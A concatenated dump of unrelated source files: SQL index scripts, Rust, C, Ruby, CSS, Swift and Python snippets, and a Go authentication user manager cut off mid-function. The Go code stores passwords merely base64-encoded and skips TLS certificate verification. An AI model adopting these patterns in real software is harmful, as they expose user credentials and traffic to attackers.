"BSD-3-Clause"
] | null | null | null |
migratieScripts/Indexes.sql
|
hanjoosten/csv2tables
|
67e91428cdf13a39e6634bcee79e1ee1eecb0125
|
[
"BSD-3-Clause"
] | null | null | null |
drop index if exists BAS_AIC_VOORTGANG_idx01;
create index BAS_AIC_VOORTGANG_idx01 on BAS_AIC_VOORTGANG
( DOS_ID asc, Tra_id asc );
drop index if exists BAS_AIC_VOORTGANG_idx02;
create index BAS_AIC_VOORTGANG_idx02 on BAS_AIC_VOORTGANG
( Tra_id asc );
drop index if exists BAS_AOM_TRANSACTIETYPE_idx01;
create index BAS_AOM_TRANSACTIETYPE_idx01 on BAS_AOM_TRANSACTIETYPE
( tra_cd asc );
drop index if exists BAS_COR_CORRESPONDENTIE_idx01;
create index BAS_COR_CORRESPONDENTIE_idx01 on BAS_COR_CORRESPONDENTIE
( DOS_ID asc );
drop index if exists BAS_COR_TRANSACTIEGROEP_BIJ_BRF_idx01;
create index BAS_COR_TRANSACTIEGROEP_BIJ_BRF_idx01 on BAS_COR_TRANSACTIEGROEP_BIJ_BRF
( DOS_ID asc );
drop index if exists BAS_DAM_CONT_BIJ_DLN_COM_ADR_idx01;
create index BAS_DAM_CONT_BIJ_DLN_COM_ADR_idx01 on BAS_DAM_CONT_BIJ_DLN_COM_ADR
( DOS_ID asc );
drop index if exists BAS_DAM_CONTACT_BIJ_DEELNAME_idx01;
create index BAS_DAM_CONTACT_BIJ_DEELNAME_idx01 on BAS_DAM_CONTACT_BIJ_DEELNAME
( DOS_ID asc );
drop index if exists BAS_DAM_DECLARATIE_idx01;
create index BAS_DAM_DECLARATIE_idx01 on BAS_DAM_DECLARATIE
( DOS_ID asc );
drop index if exists BAS_DAM_DEELNAME_ADRES_idx01;
create index BAS_DAM_DEELNAME_ADRES_idx01 on BAS_DAM_DEELNAME_ADRES
( DOS_ID asc );
drop index if exists BAS_DAM_DEELNAME_COM_ADRES_idx01;
create index BAS_DAM_DEELNAME_COM_ADRES_idx01 on BAS_DAM_DEELNAME_COM_ADRES
( DOS_ID asc );
drop index if exists BAS_DAM_DEELNAME_idx01;
create index BAS_DAM_DEELNAME_idx01 on BAS_DAM_DEELNAME
( DOS_ID asc );
drop index if exists BAS_DAM_DOS_BUDGETREGEL_idx01;
create index BAS_DAM_DOS_BUDGETREGEL_idx01 on BAS_DAM_DOS_BUDGETREGEL
( DOS_ID asc );
drop index if exists BAS_DAM_DOSSIER_IN_GROEP_idx01;
create index BAS_DAM_DOSSIER_IN_GROEP_idx01 on BAS_DAM_DOSSIER_IN_GROEP
( DOS_ID asc );
drop index if exists BAS_DAM_DOSSIER_NOTITIE_idx01;
create index BAS_DAM_DOSSIER_NOTITIE_idx01 on BAS_DAM_DOSSIER_NOTITIE
( DOS_ID asc );
drop index if exists BAS_DAM_DOSSIER_idx01;
create index BAS_DAM_DOSSIER_idx01 on BAS_DAM_DOSSIER
( DOS_ID asc );
drop index if exists BAS_DAM_MDW_INTERN_HIST_idx01;
create index BAS_DAM_MDW_INTERN_HIST_idx01 on BAS_DAM_MDW_INTERN_HIST
( DOS_ID asc );
drop index if exists BAS_DAM_MDW_INTERN_idx01;
create index BAS_DAM_MDW_INTERN_idx01 on BAS_DAM_MDW_INTERN
( DOS_ID asc, ROL_CD asc );
drop index if exists BAS_DAM_STATUSHISTORIE_idx01;
create index BAS_DAM_STATUSHISTORIE_idx01 on BAS_DAM_STATUSHISTORIE
( DOS_ID asc, STS_CD asc );
drop index if exists BAS_DAM_TERMIJN_PARAAF_NOTITIE_idx01;
create index BAS_DAM_TERMIJN_PARAAF_NOTITIE_idx01 on BAS_DAM_TERMIJN_PARAAF_NOTITIE
( DOS_ID asc );
drop index if exists BAS_DAM_TERMIJN_idx01;
create index BAS_DAM_TERMIJN_idx01 on BAS_DAM_TERMIJN
( DOS_ID asc, COR_ID asc );
drop index if exists BAS_DAM_TERMIJN_idx02;
create index BAS_DAM_TERMIJN_idx02 on BAS_DAM_TERMIJN
( COR_ID asc );
drop index if exists BAS_FAM_STATUSHISTORIE_idx01;
create index BAS_FAM_STATUSHISTORIE_idx01 on BAS_FAM_STATUSHISTORIE
( DOS_ID asc );
drop index if exists BAS_FAM_TRANSACTIE_idx01;
create index BAS_FAM_TRANSACTIE_idx01 on BAS_FAM_TRANSACTIE
( DOS_ID asc );
drop index if exists BAS_JZM_PROCEDURE_idx01;
create index BAS_JZM_PROCEDURE_idx01 on BAS_JZM_PROCEDURE
( DOS_ID asc );
drop index if exists BAS_IOM_MEDEWERKER_idx01;
create index BAS_IOM_MEDEWERKER_idx01 on BAS_IOM_MEDEWERKER
( Mdw_id asc );
drop index if exists BAS_OBJ_LOKATIE_idx01;
create index BAS_OBJ_LOKATIE_idx01 on BAS_OBJ_LOKATIE
( DOS_ID asc );
drop index if exists Bas_Fam_Transactie_idx01;
create index Bas_Fam_Transactie_idx01 on Bas_Fam_Transactie
( TRA_ID asc );
drop index if exists BAS_FAM_TRANSACTIE_REGEL_idx01;
create index BAS_FAM_TRANSACTIE_REGEL_idx01 on BAS_FAM_TRANSACTIE_REGEL
( TRA_ID asc, Rpt_nr asc );
drop index if exists BAS_VKM_VAR_GEGEVENS_idx01;
create index BAS_VKM_VAR_GEGEVENS_idx01 on BAS_VKM_VAR_GEGEVENS
( VVG_DOS_ID asc, VVG_VKT_ID asc );
| 33.55 | 85 | 0.835817 |
88e607901861d5a6831abc7d2c8c64e6aba4490c
| 129 |
sql
|
SQL
|
integration/tests/cockroach/primary-key-add/expect.sql
|
pecigonzalo/schemahero
|
230b52e32982e711b37c0802b85dbfb762e20a35
|
[
"Apache-2.0"
] | 559 |
2019-05-01T13:56:21.000Z
|
2022-03-31T19:48:01.000Z
|
integration/tests/cockroach/primary-key-add/expect.sql
|
pecigonzalo/schemahero
|
230b52e32982e711b37c0802b85dbfb762e20a35
|
[
"Apache-2.0"
] | 312 |
2019-05-08T04:09:40.000Z
|
2022-03-25T12:00:03.000Z
|
integration/tests/cockroach/primary-key-add/expect.sql
|
pecigonzalo/schemahero
|
230b52e32982e711b37c0802b85dbfb762e20a35
|
[
"Apache-2.0"
] | 62 |
2019-07-30T01:10:11.000Z
|
2022-02-14T19:48:04.000Z
|
create table "user_projects" ("user_id" integer not null, "project_id" integer not null, primary key ("user_id", "project_id"));
| 64.5 | 128 | 0.744186 |
c8090dc576fc6498b4ae0d60ba3cc13d4b47a3bc
| 3,753 |
rs
|
Rust
|
src/cairo/lang/instances.rs
|
tarrencev/oriac
|
954c2c86eb4087f85266d1bc83f1fcf3919bbfe0
|
[
"Apache-2.0",
"MIT"
] | 21 |
2022-01-30T16:26:32.000Z
|
2022-03-23T16:53:56.000Z
|
src/cairo/lang/instances.rs
|
tarrencev/oriac
|
954c2c86eb4087f85266d1bc83f1fcf3919bbfe0
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
src/cairo/lang/instances.rs
|
tarrencev/oriac
|
954c2c86eb4087f85266d1bc83f1fcf3919bbfe0
|
[
"Apache-2.0",
"MIT"
] | 2 |
2022-02-13T23:08:28.000Z
|
2022-03-30T17:28:07.000Z
|
use num_bigint::BigInt;
use std::{collections::HashMap, str::FromStr};
use crate::cairo::lang::builtins::{
hash::instance_def::PedersenInstanceDef, range_check::instance_def::RangeCheckInstanceDef,
signature::instance_def::EcdsaInstanceDef, BuiltinDefinition,
};
#[derive(Debug)]
pub struct CpuInstanceDef {
/// Verifies that each 'call' instruction returns, even if the called function is malicious.
pub safe_call: bool,
}
#[derive(Debug)]
pub struct DilutedPoolInstanceDef {
/// The ratio between the number of diluted cells in the pool and the number of cpu steps.
pub units_per_step: BigInt,
/// In diluted form the binary sequence **** of length n_bits is represented as 00*00*00*00*,
/// with (spacing - 1) zero bits between consecutive information carying bits.
pub spacing: BigInt,
/// The number of (information) bits (before diluting).
pub n_bits: BigInt,
}
#[derive(Debug)]
pub struct CairoLayout {
pub layout_name: &'static str,
pub cpu_component_step: BigInt,
/// Range check units.
pub rc_units: BigInt,
pub builtins: HashMap<String, BuiltinDefinition>,
/// The ratio between the number of public memory cells and the total number of memory cells.
pub public_memory_fraction: BigInt,
pub memory_units_per_step: BigInt,
pub diluted_pool_instance_def: Option<DilutedPoolInstanceDef>,
pub n_trace_columns: Option<BigInt>,
pub cpu_instance_def: CpuInstanceDef,
}
impl CairoLayout {
pub fn plain_instance() -> Self {
Self {
layout_name: "plain",
cpu_component_step: 1u32.into(),
rc_units: 16u32.into(),
builtins: HashMap::new(),
public_memory_fraction: 4u32.into(),
memory_units_per_step: 8u32.into(),
diluted_pool_instance_def: None,
n_trace_columns: Some(8u32.into()),
cpu_instance_def: CpuInstanceDef { safe_call: true },
}
}
pub fn small_instance() -> Self {
Self {
layout_name: "small",
cpu_component_step: 1u32.into(),
rc_units: 16u32.into(),
builtins: vec![
(String::from("output"), BuiltinDefinition::Bool(true)),
(
String::from("pedersen"),
BuiltinDefinition::PedersenInstanceDef(PedersenInstanceDef {
ratio: 8,
repetitions: 4,
element_height: 256,
element_bits: 252,
n_inputs: 2,
hash_limit: Some(prime()),
}),
),
(
String::from("range_check"),
BuiltinDefinition::RangeCheckInstanceDef(RangeCheckInstanceDef {
ratio: 8,
n_parts: 8,
}),
),
(
String::from("ecdsa"),
BuiltinDefinition::EcdsaInstanceDef(EcdsaInstanceDef {
ratio: 512,
repetitions: 1,
height: 256,
n_hash_bits: 251,
}),
),
]
.into_iter()
.collect(),
public_memory_fraction: 4u32.into(),
memory_units_per_step: 8u32.into(),
diluted_pool_instance_def: None,
n_trace_columns: Some(25u32.into()),
cpu_instance_def: CpuInstanceDef { safe_call: true },
}
}
}
fn prime() -> BigInt {
BigInt::from_str("3618502788666131213697322783095070105623107215331596699973092056135872020481")
.unwrap()
}
| 35.40566 | 100 | 0.565681 |
5bca1a6539c29e3b0534b53c1fdbcc822c34ec4d
| 335 |
c
|
C
|
src/example3.6/src/example3.6.c
|
billsix/cprogrammingbook
|
80fda9675558d65f5252688b47ef3b1749c3c59f
|
[
"MIT"
] | null | null | null |
src/example3.6/src/example3.6.c
|
billsix/cprogrammingbook
|
80fda9675558d65f5252688b47ef3b1749c3c59f
|
[
"MIT"
] | null | null | null |
src/example3.6/src/example3.6.c
|
billsix/cprogrammingbook
|
80fda9675558d65f5252688b47ef3b1749c3c59f
|
[
"MIT"
] | null | null | null |
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
for (int32_t i = 0; i <= 10; i++) {
switch (i) {
case 1:
case 2:
printf("1 or 2\n");
break;
case 7:
printf("7\n");
break;
default:
printf("default\n");
}
}
exit(EXIT_SUCCESS);
}
| 15.952381 | 37 | 0.504478 |
cf41d0e94a05dd41945a94cd192da3b85d21a1e2
| 149 |
css
|
CSS
|
frontend/dist/static/css/chunk-01e9e869.88644d44.css
|
NekoGaHoshiyi/video
|
5c54ec620657de287359357726db6d701a8e84e6
|
[
"MIT"
] | 2 |
2020-07-02T11:26:15.000Z
|
2020-07-02T14:52:37.000Z
|
frontend/dist/static/css/chunk-01e9e869.88644d44.css
|
NekoGaHoshiyi/video
|
5c54ec620657de287359357726db6d701a8e84e6
|
[
"MIT"
] | 1 |
2022-02-27T07:38:21.000Z
|
2022-02-27T07:38:21.000Z
|
frontend/dist/static/css/chunk-01e9e869.88644d44.css
|
NekoGaHoshiyi/video
|
5c54ec620657de287359357726db6d701a8e84e6
|
[
"MIT"
] | 1 |
2020-07-02T14:52:39.000Z
|
2020-07-02T14:52:39.000Z
|
.not-found[data-v-71607651]{display:flex;flex-direction:column;justify-content:space-between;align-items:center}h1[data-v-71607651]{margin-top:100px}
| 149 | 149 | 0.818792 |
df77f719dbe2d6a395d1cb56c8325a8212e1b586
| 433 |
rb
|
Ruby
|
fundamental/18_matrices.rb
|
habolanos/ruby-fundamentals
|
cd272b86eb9a4a3749f518b978798ebbdbb573c0
|
[
"MIT"
] | null | null | null |
fundamental/18_matrices.rb
|
habolanos/ruby-fundamentals
|
cd272b86eb9a4a3749f518b978798ebbdbb573c0
|
[
"MIT"
] | null | null | null |
fundamental/18_matrices.rb
|
habolanos/ruby-fundamentals
|
cd272b86eb9a4a3749f518b978798ebbdbb573c0
|
[
"MIT"
] | null | null | null |
require 'matrix'
matriz = Matrix[[2, 3, 5, 1],[9, 0, 8, 7], [5, 6, 1, 9], [7, 5, 3, 6]]
puts "Matriz
2 3 5 1
9 0 8 7
5 6 1 9
7 5 3 6"
puts "Numeros debajo de la diagonal"
matriz.each(:strict_lower) do |i|
puts i
end
puts "Numeros encima de la diagonal"
matriz.each(:strict_upper) do |i|
puts i
end
puts "Numeros diagonal"
matriz.each(:diagonal) do |i|
puts i
end
puts matriz.diagonal?
| 18.041667 | 70 | 0.593533 |
16942be86aa30871c3bb7a40bab338cec2c28e65
| 2,111 |
h
|
C
|
headers/ListaDeCoresRGB.h
|
tecnicasilegais/3d-navigation
|
d395aa03ac9dbeab3fdb06c3dabb9e58a91b1bf6
|
[
"MIT"
] | null | null | null |
headers/ListaDeCoresRGB.h
|
tecnicasilegais/3d-navigation
|
d395aa03ac9dbeab3fdb06c3dabb9e58a91b1bf6
|
[
"MIT"
] | null | null | null |
headers/ListaDeCoresRGB.h
|
tecnicasilegais/3d-navigation
|
d395aa03ac9dbeab3fdb06c3dabb9e58a91b1bf6
|
[
"MIT"
] | null | null | null |
//https://community.khronos.org/t/color-tables/22518/5
#ifndef ListaDeCoresRGB
#define ListaDeCoresRGB
#include <iostream>
#include <cmath>
#include <ctime>
#include <fstream>
using namespace std;
#ifdef WIN32
#include <windows.h>
#include <glut.h>
#else
#include <sys/time.h>
#endif
#ifdef __APPLE__
#include <GLUT/glut.h>
#endif
#ifdef __linux__
#include <GL/freeglut.h>
#endif
enum Cores {
Black, White,
Gray,
Yellow,
Red,Green, Blue,
Aquamarine,
BlueViolet,
Brown,
CadetBlue,
Coral,
CornflowerBlue,
DarkGreen,
DarkOliveGreen,
DarkOrchid,
DarkSlateBlue,
DarkSlateGray,
DarkSlateGrey,
DarkTurquoise,
Firebrick,
ForestGreen,
Gold,
Goldenrod,
GreenYellow,
IndianRed,
Khaki,
LightBlue,
LightSteelBlue,
LimeGreen,
Maroon,
MediumAquamarine,
MediumBlue,
MediumForestGreen,
MediumGoldenrod,
MediumOrchid,
MediumSeaGreen,
MediumSlateBlue,
MediumSpringGreen,
MediumTurquoise,
MediumVioletRed,
MidnightBlue,
Navy,
NavyBlue,
Orange,
OrangeRed,
Orchid,
PaleGreen,
Pink,
Plum,
Salmon,
SeaGreen,
Sienna,
SkyBlue,
SlateBlue,
SpringGreen,
SteelBlue,
Tan,
Thistle,
Turquoise,
Violet,
VioletRed,
Wheat,
YellowGreen,
SummerSky,
RichBlue,
Brass,
Copper,
Bronze,
Bronze2,
Silver,
BrightGold,
OldGold,
Feldspar,
Quartz,
NeonPink,
DarkPurple,
NeonBlue,
CoolCopper,
MandarinOrange,
LightWood,
MediumWood,
DarkWood,
SpicyPink,
SemiSweetChoc,
BakersChoc,
Flesh,
NewTan,
NewMidnightBlue,
VeryDarkBrown,
DarkBrown,
DarkTan,
GreenCopper,
DkGreenCopper,
DustyRose,
HuntersGreen,
Scarlet,
Med_Purple,
Light_Purple,
Very_Light_Purple,
LAST_COLOR
};
void defineCor(int c);
void defineCorBg(int c);
#endif
| 15.637037 | 55 | 0.596874 |
d942e7026d94c61f6fe7ac42764aeadfcf3bd1fe
| 3,645 |
rs
|
Rust
|
src/components/launcher.rs
|
ericrasmussen/quatronaut2020
|
fecb38274526b0fe33c95e2701a5d8bd72b3bba8
|
[
"MIT"
] | 1 |
2021-04-17T20:33:33.000Z
|
2021-04-17T20:33:33.000Z
|
src/components/launcher.rs
|
ericrasmussen/benitron3000
|
fecb38274526b0fe33c95e2701a5d8bd72b3bba8
|
[
"MIT"
] | 52 |
2020-10-14T06:38:00.000Z
|
2022-03-21T00:16:44.000Z
|
src/components/launcher.rs
|
ericrasmussen/benitron3000
|
fecb38274526b0fe33c95e2701a5d8bd72b3bba8
|
[
"MIT"
] | 1 |
2020-10-02T16:54:13.000Z
|
2020-10-02T16:54:13.000Z
|
//! This component tracks when and how to fire projectiles,
//! along with logic to create different projectiles.
use amethyst::{
assets::PrefabData,
core::Transform,
derive::PrefabData,
ecs::prelude::{Component, DenseVecStorage, Entities, Entity, LazyUpdate, NullStorage, ReadExpect, WriteStorage},
renderer::{sprite::SpriteSheetHandle, SpriteRender},
Error,
};
use rand::{thread_rng, Rng};
use serde::{Deserialize, Serialize};
use crate::components::{
collider::Collider,
movement::{Movement, MovementType},
tags::CleanupTag,
};
use crate::resources::audio::SoundType;
/// This is used by the boss enemy that fires projectiles. The
/// launcher lets us control the firing rate and projectile speed.
#[derive(Clone, Copy, Debug, Deserialize, Serialize, PrefabData)]
#[prefab(Component)]
#[serde(deny_unknown_fields)]
pub struct Launcher {
pub fire_delay: f32,
pub projectile_speed: f32,
pub seconds_since_firing: f32,
}
impl Launcher {
/// Checks if we've had enough time elapse since the last laser
/// and resets the timer. this is possibly a surprising API for a
/// `bool` check, but it also ensures we don't rely on calling code
/// to manage the timer.
pub fn can_fire(&mut self, time: f32) -> bool {
// this offset here is to make the firing less predictable,
// which is important when multiple enemies would otherwise fire
// each shot at the same time
if self.seconds_since_firing >= self.fire_delay {
let mut rng = thread_rng();
self.seconds_since_firing = rng.gen_range(0.1 .. 0.9);
true
} else {
self.seconds_since_firing += time;
false
}
}
}
impl Component for Launcher {
type Storage = DenseVecStorage<Self>;
}
/// Empty struct that lets us tag entities as `Projectile`s. The `systems`
/// module needs this for looking them up.
#[derive(Debug, Default)]
pub struct Projectile;
impl Component for Projectile {
type Storage = NullStorage<Self>;
}
/// This needs to be run by a system that has a launcher, sprites, transforms,
/// and all entities. It creates an entity with all the necessary components
/// for systems to operate on the projectile (moving it, detecting collisions,
/// checking if it's out of bounds, etc).
pub fn launch_projectile(
launcher: Launcher,
sprite_sheet_handle: SpriteSheetHandle,
base_transform: &Transform,
entities: &Entities,
lazy_update: &ReadExpect<LazyUpdate>,
) {
// an incorrect sprite number here will lead to a memory leak
let sprite_render = SpriteRender {
sprite_sheet: sprite_sheet_handle,
sprite_number: 3,
};
let transform = base_transform.clone();
let movement = Movement {
speed: launcher.projectile_speed,
velocity_x: 0.0,
velocity_y: 0.0,
freeze_direction: false,
locked_direction: None,
already_rotated: false,
launch_sound: Some(SoundType::EnemyBlaster),
movement_type: MovementType::ProjectileRush,
};
let collider = Collider {
half_width: 16.0,
half_height: 16.0,
};
let projectile = Projectile {};
let cleanup_tag = CleanupTag {};
let projectile_entity: Entity = entities.create();
lazy_update.insert(projectile_entity, projectile);
lazy_update.insert(projectile_entity, cleanup_tag);
lazy_update.insert(projectile_entity, movement);
lazy_update.insert(projectile_entity, transform);
lazy_update.insert(projectile_entity, collider);
lazy_update.insert(projectile_entity, sprite_render);
}
| 31.973684 | 116 | 0.687791 |
4a046eb9a4c8b92c58f63bdc35d9fccd75be78a3
| 3,058 |
swift
|
Swift
|
Pods/GoogleMaps/SwiftExample/GoogleMapsSwiftDemos/Swift/Samples/AnimatedCurrentLocationViewController.swift
|
LightFocus/XcodeBenchmark
|
1a3cdc68b2dca08251e3c723ed13c14245a84e0b
|
[
"MIT"
] | 1,562 |
2020-08-19T00:30:37.000Z
|
2022-03-31T15:15:22.000Z
|
Pods/GoogleMaps/SwiftExample/GoogleMapsSwiftDemos/Swift/Samples/AnimatedCurrentLocationViewController.swift
|
LightFocus/XcodeBenchmark
|
1a3cdc68b2dca08251e3c723ed13c14245a84e0b
|
[
"MIT"
] | 198 |
2020-08-19T01:01:10.000Z
|
2022-03-23T16:40:29.000Z
|
Pods/GoogleMaps/SwiftExample/GoogleMapsSwiftDemos/Swift/Samples/AnimatedCurrentLocationViewController.swift
|
LightFocus/XcodeBenchmark
|
1a3cdc68b2dca08251e3c723ed13c14245a84e0b
|
[
"MIT"
] | 247 |
2020-09-06T18:34:40.000Z
|
2022-03-30T09:03:50.000Z
|
// Copyright 2020 Google LLC. All rights reserved.
//
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may not use this
// file except in compliance with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software distributed under
// the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
// ANY KIND, either express or implied. See the License for the specific language governing
// permissions and limitations under the License.
import GoogleMaps
import UIKit
final class AnimatedCurrentLocationViewController: UIViewController {
private var locationMarker: GMSMarker?
private lazy var mapView: GMSMapView = {
let camera = GMSCameraPosition(latitude: 38.8879, longitude: -77.0200, zoom: 17)
return GMSMapView(frame: .zero, camera: camera)
}()
override func loadView() {
mapView.settings.myLocationButton = false
mapView.settings.indoorPicker = false
view = mapView
}
override func viewDidLoad() {
super.viewDidLoad()
// Setup location services
guard CLLocationManager.locationServicesEnabled() else {
print("Please enable location services")
return
}
if CLLocationManager.authorizationStatus() == .denied {
print("Please authorize location services")
return
}
let manager = CLLocationManager()
manager.requestWhenInUseAuthorization()
manager.delegate = self
manager.desiredAccuracy = kCLLocationAccuracyBest
manager.distanceFilter = 5.0
manager.startUpdatingLocation()
}
}
extension AnimatedCurrentLocationViewController: CLLocationManagerDelegate {
func locationManager(_ manager: CLLocationManager, didFailWithError error: Error) {
if CLLocationManager.authorizationStatus() == .denied {
print("Please authorize location services")
return
}
print("Unable to get current location. Error: \(error.localizedDescription)")
}
func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) {
guard let location = locations.last else { return }
if let existingMaker = locationMarker {
CATransaction.begin()
CATransaction.setAnimationDuration(2.0)
existingMaker.position = location.coordinate
CATransaction.commit()
} else {
let marker = GMSMarker(position: location.coordinate)
// Animated walker images derived from an www.angryanimator.com tutorial.
// See: http://www.angryanimator.com/word/2010/11/26/tutorial-2-walk-cycle/
let animationFrames = (1...8).compactMap {
UIImage(named: "step\($0)")
}
marker.icon = UIImage.animatedImage(with: animationFrames, duration: 0.8)
// Taking into account walker's shadow.
marker.groundAnchor = CGPoint(x: 0.5, y: 0.97)
marker.map = mapView
locationMarker = marker
}
mapView.animate(with: GMSCameraUpdate.setTarget(location.coordinate, zoom: 17))
}
}
| 35.149425 | 98 | 0.720405 |
f069eb952ff8678a357b70b75757dce90f676973
| 3,342 |
py
|
Python
|
Regression/utils_testing.py
|
saucec0de/sifu
|
7924844e1737c7634016c677237bccd7e7651818
|
[
"MIT"
] | 5 |
2021-03-26T08:19:43.000Z
|
2021-12-18T18:04:04.000Z
|
Regression/utils_testing.py
|
saucec0de/sifu
|
7924844e1737c7634016c677237bccd7e7651818
|
[
"MIT"
] | null | null | null |
Regression/utils_testing.py
|
saucec0de/sifu
|
7924844e1737c7634016c677237bccd7e7651818
|
[
"MIT"
] | null | null | null |
import yaml
import os
### Sample Contents of config.yaml:
# 0002_info_leakage:
# category: Sifu C/C++
# points: 100
# description: Leave no trace
# vulnerability: CWE-14 * Information Leakage
# directory: Challenges/C_CPP/0002_info_leakage
# send_dir: true
# file: func_0009.c
# fname: func.c
# chal_id: c94062933919
# root: template
# root_file: chal_files.html
# run: ./run.py
# flag: f296-5420-65a9-7fc8
# type: c_makefile
# disable: false
# feedback: collect
# addHeader: |
# #define __OVERWRITE
# #include "utils.h"
# #include "deprecated.h"
# #include "redirect.h"
# #include "log.h"
localPath = os.path.join(os.path.dirname(__file__))
def FilesToJson(files, path=localPath):
"""
returns a {filename: contents} dict for
the given files on the given path
"""
contents = {}
# for multiple files, iterate over each
if type(files)==list:
for file in files:
with open(os.path.join(path, file)) as f:
contents[file]=f.read()
# for just one, do the deed
elif type(files)==str:
with open(os.path.join(path, files)) as f:
contents[files]=f.read()
# if we're here, we screwed up
else:
raise TypeError('[utils_testing] excuse me')
return contents
def fileContentsToStr(file):
with open(file, 'r') as f:
return f.read()
def makeIOforTest(path, inFileNames, outFileNames):
"""
Use to generate the test parametrization lists
----
Inputs: root path, expected input file names, expected output file names
Output: lists of one dict per param set (to be used with zip when parametrizing)
{
in_params:
[{inSet1_file1: inSet1_file1_contents, ..},
{inSet2_file2: inSet2__file2_contents}]
out_params:
[{outSet1_file1: outSet1_file1_contents, ..},
{outSet2_file2: outSet2__file2_contents}]
}
"""
test_in = []
test_out = []
for (dirpath, _, filenames) in os.walk(path):
if 'tc-' in dirpath:
files_in = {}
files_out = {}
for file in inFileNames:
files_in[file] = fileContentsToStr(os.path.join(dirpath,file))
for file in outFileNames:
files_out[file] = fileContentsToStr(os.path.join(dirpath,file))
test_in.append(files_in)
test_out.append(files_out)
return {'in_params': test_in,
'out_params': test_out}
if __name__=='__main__':
# local 'testing'
print("chalID for '0002_info_leakage' is:", chalNameToChalID('0002_info_leakage') )
print("files and filenames:\n", getFilesForChalID(chalNameToChalID('0002_info_leakage')))
print(FilesToJson(getFilesForChalID(chalNameToChalID('0002_info_leakage'))['fileNames'], path='../Challenges/C_CPP/0001_buffer_overflow'))
print("\n\n")
EgPathAsSeenByTests = '0002_info_leakage'
inFiles = ['database.json', 'func_0009.c']
outFiles = ['ai.json', 'log.txt']
outFiles_noLog = ['ai.json']
print(makeIOforTest('IO/0002_info_leakage', inFiles, outFiles))
| 28.810345 | 142 | 0.595751 |
50488877c03c4c5a4c61e614935db2f8b5a620c1
| 6,778 |
go
|
Go
|
cmd/authn/userlist.go
|
arita37/aistore
|
edb7aa45178335b23a424ea73a753bcd6fa9d5db
|
[
"MIT"
] | 1 |
2020-05-20T23:43:38.000Z
|
2020-05-20T23:43:38.000Z
|
cmd/authn/userlist.go
|
arita37/aistore
|
edb7aa45178335b23a424ea73a753bcd6fa9d5db
|
[
"MIT"
] | null | null | null |
cmd/authn/userlist.go
|
arita37/aistore
|
edb7aa45178335b23a424ea73a753bcd6fa9d5db
|
[
"MIT"
] | null | null | null |
// Package main - authorization server for AIStore. See README.md for more info.
/*
* Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
*
*/
package main
import (
"encoding/base64"
"errors"
"fmt"
"net/http"
"os"
"sync"
"time"
"github.com/NVIDIA/aistore/3rdparty/glog"
"github.com/NVIDIA/aistore/cmn"
"github.com/NVIDIA/aistore/cmn/jsp"
jwt "github.com/dgrijalva/jwt-go"
)
const (
userListFile = "users.json"
proxyTimeout = 2 * time.Minute // maximum time for syncing Authn data with primary proxy
proxyRetryTime = 5 * time.Second // an interval between primary proxy detection attempts
foreverTokenTime = 24 * 365 * 20 * time.Hour // kind of never-expired token
)
type (
userInfo struct {
UserID string `json:"name"`
Password string `json:"password,omitempty"`
passwordDecoded string
}
tokenInfo struct {
UserID string `json:"username"`
Issued time.Time `json:"issued"`
Expires time.Time `json:"expires"`
Token string `json:"token"`
}
userManager struct {
mtx sync.Mutex
Path string `json:"-"`
Users map[string]*userInfo `json:"users"`
tokens map[string]*tokenInfo
clientHTTP *http.Client
clientHTTPS *http.Client
}
)
// Creates a new user manager. If user DB exists, it loads the data from the
// file and decrypts passwords
func newUserManager(dbPath string) *userManager {
var (
err error
bytes []byte
)
clientHTTP := cmn.NewClient(cmn.TransportArgs{Timeout: conf.Timeout.Default})
clientHTTPS := cmn.NewClient(cmn.TransportArgs{
Timeout: conf.Timeout.Default,
UseHTTPS: true,
SkipVerify: true,
})
mgr := &userManager{
Path: dbPath,
Users: make(map[string]*userInfo, 10),
tokens: make(map[string]*tokenInfo, 10),
clientHTTP: clientHTTP,
clientHTTPS: clientHTTPS,
}
if _, err = os.Stat(dbPath); err != nil {
if !os.IsNotExist(err) {
glog.Fatalf("Failed to load user list: %v\n", err)
}
return mgr
}
if err = jsp.Load(dbPath, &mgr.Users, jsp.Plain()); err != nil {
glog.Fatalf("Failed to load user list: %v\n", err)
}
for _, info := range mgr.Users {
if bytes, err = base64.StdEncoding.DecodeString(info.Password); err != nil {
glog.Fatalf("Failed to read user list: %v\n", err)
}
info.passwordDecoded = string(bytes)
}
// add a superuser to the list to allow the superuser to login
mgr.Users[conf.Auth.Username] = &userInfo{
UserID: conf.Auth.Username,
passwordDecoded: conf.Auth.Password,
}
return mgr
}
// save new user list to file
// It is called from functions of this module that acquire lock, so this
// function needs no locks
func (m *userManager) saveUsers() (err error) {
// copy users to avoid saving admin to the file
filtered := make(map[string]*userInfo, len(m.Users))
for k, v := range m.Users {
if k != conf.Auth.Username {
filtered[k] = v
}
}
if err = jsp.Save(m.Path, &filtered, jsp.Plain()); err != nil {
err = fmt.Errorf("failed to save user list: %v", err)
}
return err
}
// Registers a new user
func (m *userManager) addUser(userID, userPass string) error {
if userID == "" || userPass == "" {
return fmt.Errorf("invalid credentials")
}
m.mtx.Lock()
defer m.mtx.Unlock()
if _, ok := m.Users[userID]; ok {
return fmt.Errorf("user %q already registered", userID)
}
m.Users[userID] = &userInfo{
UserID: userID,
passwordDecoded: userPass,
Password: base64.StdEncoding.EncodeToString([]byte(userPass)),
}
return m.saveUsers()
}
// Deletes an existing user
func (m *userManager) delUser(userID string) error {
if userID == conf.Auth.Username {
return errors.New("superuser cannot be deleted")
}
m.mtx.Lock()
if _, ok := m.Users[userID]; !ok {
m.mtx.Unlock()
return fmt.Errorf("user %s %s", userID, cmn.DoesNotExist)
}
delete(m.Users, userID)
token, ok := m.tokens[userID]
delete(m.tokens, userID)
err := m.saveUsers()
m.mtx.Unlock()
if ok {
go m.broadcastRevoked(token.Token)
}
return err
}
// Generates a token for a user if user credentials are valid. If the token is
// already generated and is not expired yet the existing token is returned.
// Token includes information about userID, AWS/GCP creds and expire token time.
// If a new token was generated then it sends the proxy a new valid token list
func (m *userManager) issueToken(userID, pwd string) (string, error) {
var (
user *userInfo
token *tokenInfo
ok bool
err error
expires time.Time
)
// check user name and pass in DB
